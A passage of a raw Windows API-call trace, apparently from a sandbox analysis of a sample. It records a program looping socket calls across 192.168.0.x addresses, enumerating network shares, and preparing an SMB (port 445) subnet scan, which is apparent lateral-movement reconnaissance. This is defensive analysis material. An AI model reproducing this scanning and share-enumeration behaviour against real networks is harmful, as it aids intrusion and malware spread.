(hostlong=0xc0a800e3) returned 0xe300a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e4) returned 0xe400a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e5) returned 0xe500a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e6) returned 0xe600a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e7) returned 0xe700a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e8) returned 0xe800a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e9) returned 0xe900a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800ea) returned 0xea00a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800eb) returned 0xeb00a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800ec) returned 0xec00a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800ed) returned 0xed00a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800ee) returned 0xee00a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800ef) returned 0xef00a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800f0) returned 0xf000a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800f1) returned 0xf100a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800f2) returned 0xf200a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.135] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.135] htonl (hostlong=0xc0a800f3) returned 0xf300a8c0 [0210.135] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.136] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.136] htonl (hostlong=0xc0a800f4) returned 0xf400a8c0 [0210.136] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.136] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.136] htonl (hostlong=0xc0a800f5) returned 0xf500a8c0 [0210.136] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.136] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.136] htonl (hostlong=0xc0a800f6) returned 0xf600a8c0 [0210.136] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.136] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.136] htonl (hostlong=0xc0a800f7) returned 0xf700a8c0 [0210.136] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.136] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.136] htonl (hostlong=0xc0a800f8) returned 0xf800a8c0 [0210.136] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.136] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.136] htonl (hostlong=0xc0a800f9) returned 0xf900a8c0 [0210.136] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.136] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0221.494] GetProcessHeap () returned 0x6a0000 [0221.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0221.495] GetProcessHeap () returned 0x6a0000 [0221.495] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0221.495] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f928 | out: lphEnum=0xf2f928*=0x6bd1d8) returned 0x0 [0221.552] WNetEnumResourceW (in: hEnum=0x6bd1d8, lpcCount=0xf2f920, lpBuffer=0x794e58, lpBufferSize=0xf2f92c | out: lpcCount=0xf2f920, lpBuffer=0x794e58, lpBufferSize=0xf2f92c) returned 0x103 [0221.552] WNetCloseEnum (hEnum=0x6bd1d8) returned 0x0 [0221.553] GetProcessHeap () returned 0x6a0000 [0221.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0221.553] GetProcessHeap () returned 0x6a0000 [0221.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0221.553] GetProcessHeap () returned 0x6a0000 [0221.553] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0221.554] GetProcessHeap () returned 0x6a0000 [0221.554] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0221.554] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f910 | out: lphEnum=0xf2f910*=0x6bcb20) returned 0x0 [0221.554] WNetEnumResourceW (in: hEnum=0x6bcb20, lpcCount=0xf2f908, lpBuffer=0x794e58, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x794e58, lpBufferSize=0xf2f914) returned 0x103 [0221.554] WNetCloseEnum (hEnum=0x6bcb20) returned 0x0 [0221.554] GetProcessHeap () returned 0x6a0000 [0221.555] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0221.555] GetProcessHeap () returned 0x6a0000 [0221.555] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0221.555] GetProcessHeap () returned 0x6a0000 [0221.555] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0221.555] GetProcessHeap () returned 0x6a0000 [0221.555] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0221.555] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f8f8 | out: lphEnum=0xf2f8f8*=0x6bd1d8) returned 0x0 [0234.220] WNetEnumResourceW (in: hEnum=0x6bd1d8, lpcCount=0xf2f8f0, lpBuffer=0x794e58, lpBufferSize=0xf2f8fc | out: lpcCount=0xf2f8f0, lpBuffer=0x794e58, lpBufferSize=0xf2f8fc) returned 0x0 [0234.220] GetProcessHeap () returned 0x6a0000 [0234.220] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0234.220] GetProcessHeap () returned 0x6a0000 [0234.220] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0234.220] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x794e58, lphEnum=0xf2f8b8 | out: lphEnum=0xf2f8b8*=0x6d45e8) returned 0x0 [0247.101] WNetEnumResourceW (in: hEnum=0x6d45e8, lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc | out: lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc) returned 0x0 [0247.102] WNetEnumResourceW (in: hEnum=0x6d45e8, lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc | out: lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc) returned 0x103 [0247.102] WNetCloseEnum (hEnum=0x6d45e8) returned 0x0 [0247.102] GetProcessHeap () returned 0x6a0000 [0247.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0247.102] GetProcessHeap () returned 0x6a0000 [0247.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0247.102] WNetEnumResourceW (in: hEnum=0x6bd1d8, lpcCount=0xf2f8f0, lpBuffer=0x794e58, lpBufferSize=0xf2f8fc | out: lpcCount=0xf2f8f0, lpBuffer=0x794e58, lpBufferSize=0xf2f8fc) returned 0x103 [0247.102] WNetCloseEnum (hEnum=0x6bd1d8) returned 0x0 [0247.102] GetProcessHeap () returned 0x6a0000 [0247.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0247.103] GetProcessHeap () returned 0x6a0000 [0247.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0247.103] GetProcessHeap () returned 0x6a0000 [0247.103] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0247.103] GetProcessHeap () returned 0x6a0000 [0247.103] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0247.103] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f928 | out: lphEnum=0xf2f928*=0x6bcb00) returned 0x0 [0247.104] WNetEnumResourceW (in: hEnum=0x6bcb00, lpcCount=0xf2f920, lpBuffer=0x794e58, lpBufferSize=0xf2f92c | out: lpcCount=0xf2f920, lpBuffer=0x794e58, lpBufferSize=0xf2f92c) returned 0x103 [0247.104] WNetCloseEnum (hEnum=0x6bcb00) returned 0x0 [0247.104] GetProcessHeap () returned 0x6a0000 [0247.104] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0247.104] GetProcessHeap () returned 0x6a0000 [0247.104] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0247.104] GetProcessHeap () returned 0x6a0000 [0247.104] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0247.104] GetProcessHeap () returned 0x6a0000 [0247.104] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0247.104] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f910 | out: lphEnum=0xf2f910*=0x37226c8) returned 0x0 [0247.105] WNetEnumResourceW (in: hEnum=0x37226c8, lpcCount=0xf2f908, lpBuffer=0x794e58, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x794e58, lpBufferSize=0xf2f914) returned 0x0 [0247.105] GetProcessHeap () returned 0x6a0000 [0247.105] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0247.105] GetProcessHeap () returned 0x6a0000 [0247.105] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0247.106] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x794e98, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x0) returned 0x4c6 [0247.107] GetProcessHeap () returned 0x6a0000 [0247.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0247.107] GetProcessHeap () returned 0x6a0000 [0247.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0247.107] GetProcessHeap () returned 0x6a0000 [0247.107] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0247.107] GetProcessHeap () returned 0x6a0000 [0247.107] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0247.108] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x794e78, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x0) returned 0x4b8 [0258.212] GetProcessHeap () returned 0x6a0000 [0258.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0258.213] GetProcessHeap () returned 0x6a0000 [0258.213] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0258.213] GetProcessHeap () returned 0x6a0000 [0258.213] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0258.213] GetProcessHeap () returned 0x6a0000 [0258.213] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0258.213] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x794e58, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x6bca40) returned 0x0 [0258.249] WNetEnumResourceW (in: hEnum=0x6bca40, lpcCount=0xf2f8c8, lpBuffer=0x378f588, lpBufferSize=0xf2f8d4 | out: lpcCount=0xf2f8c8, lpBuffer=0x378f588, lpBufferSize=0xf2f8d4) returned 0x103 [0258.249] WNetCloseEnum (hEnum=0x6bca40) returned 0x0 [0258.249] GetProcessHeap () returned 0x6a0000 [0258.249] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0258.250] GetProcessHeap () returned 0x6a0000 [0258.250] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0258.250] WNetEnumResourceW (in: hEnum=0x37226c8, lpcCount=0xf2f908, lpBuffer=0x794e58, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x794e58, lpBufferSize=0xf2f914) returned 0x103 [0258.250] WNetCloseEnum (hEnum=0x37226c8) returned 0x0 [0258.250] GetProcessHeap () returned 0x6a0000 [0258.250] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0258.251] GetProcessHeap () returned 0x6a0000 [0258.251] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0258.251] GetProcessHeap () returned 0x6a0000 [0258.251] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3a98) returned 0x378f588 [0258.251] GetIpAddrTable (in: pIpAddrTable=0x378f588, pdwSize=0xf2f93c, bOrder=0 | out: pIpAddrTable=0x378f588, pdwSize=0xf2f93c) returned 0x0 [0258.267] htonl (hostlong=0x5f00a8c0) returned 0xc0a8005f [0258.267] htonl (hostlong=0x5f00a8c0) returned 0xc0a8005f [0258.267] htonl (hostlong=0xffffff) returned 0xffffff00 [0258.267] htons (hostshort=0x1bd) returned 0xbd01 [0258.267] GetProcessHeap () returned 0x6a0000 [0258.267] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x37af5a0 [0258.267] GetProcessHeap () returned 0x6a0000 [0258.267] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x794e58 [0258.267] htonl (hostlong=0xc0a80000) returned 0xa8c0 [0258.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80001) returned 0x100a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80002) returned 0x200a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80003) returned 0x300a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80004) returned 0x400a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80005) returned 0x500a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80006) returned 0x600a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80007) returned 0x700a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80008) returned 0x800a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a80009) returned 0x900a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a8000a) returned 0xa00a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a8000b) returned 0xb00a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a8000c) returned 0xc00a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a8000d) returned 0xd00a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a8000e) returned 0xe00a8c0 [0258.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.268] htonl (hostlong=0xc0a8000f) returned 0xf00a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80010) returned 0x1000a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80011) returned 0x1100a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80012) returned 0x1200a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80013) returned 0x1300a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80014) returned 0x1400a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80015) returned 0x1500a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80016) returned 0x1600a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80017) returned 0x1700a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80018) returned 0x1800a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a80019) returned 0x1900a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a8001a) returned 0x1a00a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a8001b) returned 0x1b00a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a8001c) returned 0x1c00a8c0 [0258.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.269] htonl (hostlong=0xc0a8001d) returned 0x1d00a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a8001e) returned 0x1e00a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a8001f) returned 0x1f00a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80020) returned 0x2000a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80021) returned 0x2100a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80022) returned 0x2200a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80023) returned 0x2300a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80024) returned 0x2400a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80025) returned 0x2500a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80026) returned 0x2600a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80027) returned 0x2700a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80028) returned 0x2800a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a80029) returned 0x2900a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a8002a) returned 0x2a00a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a8002b) returned 0x2b00a8c0 [0258.270] socket (af=2, type=1, protocol=6) returned 